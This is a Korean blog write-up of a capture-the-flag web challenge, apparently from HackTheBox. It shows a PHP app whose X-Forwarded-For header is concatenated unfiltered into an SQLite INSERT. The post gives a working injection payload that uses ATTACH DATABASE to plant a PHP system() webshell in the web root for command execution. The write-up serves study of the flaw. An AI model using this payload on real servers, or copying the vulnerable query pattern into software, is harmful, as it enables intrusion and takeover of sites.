티스토리 뷰
문제 개요
RCE with Sqlite3 query injection
코드 분석
index.php 를 보면 라우터로 등록된 경로는 GET / 과 POST /subscribe 로 한개씩 존재합니다.
<?php
spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
else if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
$database = new Database('/tmp/challenge.db');
$router = new Router();
$router->new('GET', '/', 'IndexController@index');
$router->new('POST', '/subscribe', 'SubsController@store');
die($router->match());
사용자는 문제의 첫 페이지에서 이메일을 작성 후 구독(subscribe) 버튼을 누르면 위 코드에 정의된 대로 POST 요청으로 email 데이터가 서버로 전달됩니다. filter_var PHP 함수에 의해서 이메일이 유효한지 검사합니다.
<?php
class SubsController extends Controller
{
public function __construct()
{
parent::__construct();
}
public function store($router)
{
$email = $_POST['email'];
if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) {
header('Location: /?success=false&msg=Please submit a valild email address!');
exit;
}
$subscriber = new SubscriberModel;
$subscriber->subscribe($email);
header('Location: /?success=true&msg=Email subscribed successfully!');
exit;
}
public function logout($router)
{
session_destroy();
header('Location: /admin');
exit;
}
}
사실 처음에는 email 유효성을 검토하는 filter_var 함수를 우회하여 sql query 문을 inject 해야하는 줄 알았습니다. 다만 arbitrary code execute 를 위해서는 괄호가 필수적으로 들어가야하는데 이 email 의 filter_var 검증하는 것으로부터 우회는 불가능했었습니다. 관련해서는 아래 github 페이지에서 자세히 볼 수 있습니다.
https://github.com/Xib3rR4dAr/filter-var-sqli
그리고 서버에서는 다시 이를 아래 코드에서 ip 주소와 email 주소를 파라미터로 특정 함수에 전달하는 것을 볼 수 있습니다.
<?php
class SubscriberModel extends Model
{
public function __construct()
{
parent::__construct();
}
public function getSubscriberIP(){
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)){
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER["REMOTE_ADDR"];
}else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER["HTTP_CLIENT_IP"];
}
return '';
}
public function subscribe($email)
{
$ip_address = $this->getSubscriberIP();
return $this->database->subscribeUser($ip_address, $email);
}
}
보다시피 ip 주소를 인자로 받을 때 HTTP 요청의 X-Forwarded-For 헤더 값도 받고 있음을 알 수 있습니다. 그리고 이 헤더 값에 대한 별도의 필터링이 없는 것으로 보아 이를 이용해서 SQL Injection 을 해야할 것으로 보였습니다.
이제 실제 공격자의 input 이 들어가는 db query 문은 아래와 같습니다.
public function subscribeUser($ip_address, $email)
{
return $this->db->exec("INSERT INTO subscribers (ip_address, email) VALUES('$ip_address', '$email')");
}
INSERT 문이고 작은따옴표를 사용해서 구문을 탈출할 수 있어 보입니다.
문제 풀이
SQLite3 에서 수행할 수 있는 RCE 코드는 아래 링크에서 참고할 수 있습니다.
https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/
위 내용을 이제 injection 구문에 사용해서 HTTP 헤더를 아래와 같이 만들어보았습니다. (문제 사이트에서는 /www/ 경로에 index.php 파일이 있던 것을 한참 헤맸던 기억이 있습니다...)
X-Forwarded-For: 127.0.0.1','test@test.com');ATTACH DATABASE '/www/id.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES ('<?php system("id"); ?>');INSERT INTO subscribers (ip_address, email) VALUES('127.0.0.1
그리고 실제 문제 사이트에 위 페이로드를 전송해보았습니다.
그랬더니 위와 같이 이메일에는 이상이 없기 때문에 잘 전송되었다고 합니다. 이제 실제 id.php 경로에 접근했을 때 어떻게 나오는지 확인해보았습니다.
뭔가 SQLite3 포맷이 나오면서 최 하단에 id 명령어 출력 결과 값이 삽입되어 있음을 알 수 있습니다. 실제로 RCE 명령이 잘 실행되어 공격자가 원하는 테이블이 만들어졌고, 또 원하는 명령어가 실행되어 해당 명령어의 내용이 들어가는 테이블이 담긴 db 파일이 실제 id.php 라는 이름의 파일에 attach 된 것을 확인할 수 있습니다.
실제 문제 풀 당시에는 ls 명령어로 flag_랜덤값 으로된 파일 이름을 확인하고 파일의 내용을 출력하여 문제를 풀었습니다.
'보안 > CTF' 카테고리의 다른 글
[Hackthebox] Mutation Lab Writeup(문제풀이) (0) | 2022.06.01 |
---|---|
[Hackthebox] Acnologia Portal Writeup(문제풀이) (0) | 2022.05.24 |
[Hackthebox] Amidst Us Writeup(문제풀이) (0) | 2022.05.23 |
[Hackthebox] BlinkerFluids Writeup(문제풀이) (0) | 2022.05.22 |
[LINECTF2022] [WEB] gotm 문제풀이(writeup) (0) | 2022.03.28 |